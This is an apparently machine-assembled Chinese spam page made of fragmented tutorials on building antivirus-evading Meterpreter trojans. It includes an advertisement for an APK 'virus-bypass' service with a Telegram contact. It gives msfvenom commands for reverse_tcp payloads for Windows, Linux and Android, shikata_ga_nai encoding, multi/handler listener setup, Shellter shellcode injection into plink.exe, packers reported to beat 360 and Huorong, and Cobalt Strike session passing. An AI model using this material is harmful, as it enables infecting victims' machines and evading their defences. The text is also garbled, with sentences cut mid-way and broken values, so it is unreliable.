在payload生成阶段meterpreter免杀apk，直接利用msfvenom命令生成meterpreter免杀apk了一个windowsmeterpreterreverse_tcp类型的payloadmeterpreter免杀apk，参数包括LHOST和LPORT然而，原始payload完全被360安全卫士查杀，VT查杀率为5569为meterpreter免杀apk了解决免杀问题，尝试使用msf自带编码器进行处理通过查看所有编码器，选择等级为excellent的x86shikata_ga_nai编码器进行测。

实现FUD的三大路径 meterpreter免杀apk我们将通过静态免杀动态免杀和启发式免杀这三大关键技术，揭示恶意软件的隐身术其中，关键点在于让恶意软件保持极小体积，同时，我们还将剖析杀软和Windows操作系统的工作机制，以便理解这场猫鼠游戏对于想要深入理解的读者，建议具备CC++和汇编语言的基础，以及对PE文件结构的了。

这里我们挑选一个免杀效果比较好的编码器x86shikata_ga_nai，进行编码msfvenomplinuxx86meterpreterreverse_tcpLHOST=01ex86shikata_ga_naii5felforootpayload_encoderelf 总结从图中我们可以看到完成了对木马的5次编码，这样木马基本上就可以躲避部分杀毒软件的查杀，其实。

meterpreter免杀apk - APK报毒处理平台-apk防红链接-防封链接-安卓过毒免杀-稳定不掉签名TG:@AICDN8 第1张

这样我们就在root路径下生成了一个APK的安卓木马文件，至于木马的免杀暂且不谈现在我们在来启动MSF工具 输入命令msfconsole 然后输入1 use exploitmultihandler 加载模块 2 set payload androidmeterpreterreverse_tcp 选择Payload 3show options 查看参数设置 我们看见payload里边有两个参。

首先，使用msfvenom生成没有加壳的exe文件，代码如下msfvenom p windowsmeterpreterreverse_tcp LHOST=28 LPORT=6666 f exe optshellexe然后，将生成的exe文件放入Windows2003系统中进行木马检测，结果显示为木马文件接着，利用shellter对上述exe文件进行免杀处理在Kali环境。

在Cobalt strike与Msf间传递会话，配置监听器与选择相应模块实现会话传输，完成Msf与Cobalt strike间的联动Kali上获得的meterpreter会话可通过exploit模块转发至Cobalt strike，生成CS会话获取会话后，Cobalt strike能进行提权操作，如输入命令“sleep 1”调整响应时间，以优化实验效率利用导入的多提权脚本。

测试中，32位加壳工具对Windows Meterpreter生成的木马进行了处理，结果显示360安全卫士与火绒安全软件未能查杀该木马，成功上线同样，对Cobalt Strike原生exe进行加壳后，木马同样免杀了上述两种软件，表明该加壳方法有效另一款支持64位程序的加壳工具，对原生msf木马加壳后，能成功绕过360全家桶，但被火绒。

当提示输入Payloads时选择“L”然后选择“1” Meterpreter_Reverse_TCP 之后输出攻击方ip，监听端口等等 Shellter将会在plinkexe中注入shellcode 这时我们发现跟原文件相比，root目录下的plinkexe文件变大了些，说明注入完成 之后启动msf我们把plinkexe上传到目标机 当我们用plink进行远程登录的时候，在。

选择cmeterpreter后，Veil自动配置LPORT，用户需手动输入LHOST和Filename，生成的payload包括源代码和可执行文件，其中生成的C语言源代码可直接查看Veil生成的meterpreter样本较为有趣，后续文章将对此进行完整分析至此，对CobaltStrike生成的Payload类型及Veil框架的介绍完毕，期待进一步深入探讨。

首先，生成一个免杀的MSF木马，使用命令 msfvenom p windowsx64meterpreterreverse_tcp LHOST= LPORT=4444 f exe expexe，其中LHOST是你的vps地址，LPORT是监听端口接着，配置MSF监听端口，使用命令 use exploitmultihandler，设置payload为payload windowsx64meterpreter。

2 **准备测试环境**确保测试环境与实际部署环境一致，断开网络，以模拟真实环境中的网络状态3 **测试壳工具**使用壳工具对木马程序进行加壳处理以“windowsmeterpreterreverse_tcp”生成的木马为例，执行加壳操作4 **执行木马测试**将加壳后的木马分别在不同杀毒软件环境如360全家。

sfpayloadwindowsmeterpreterreverse_tcpLHOST=49xsteupexe方法步骤二黑客直接就能进入所在的目录并将属性进行修改，换为允许以程序执行文件，详细如下图进入所在目录，修改属性选择“允许以程序执行文件”，这时候也可以做一些免杀方法步骤三接着黑客就打开msfconsole并加载exploit。

将Cobalt Strike木马会话传递到MetasploitMsf的过程相对简单配置一个监听器，设置模块为Foreign。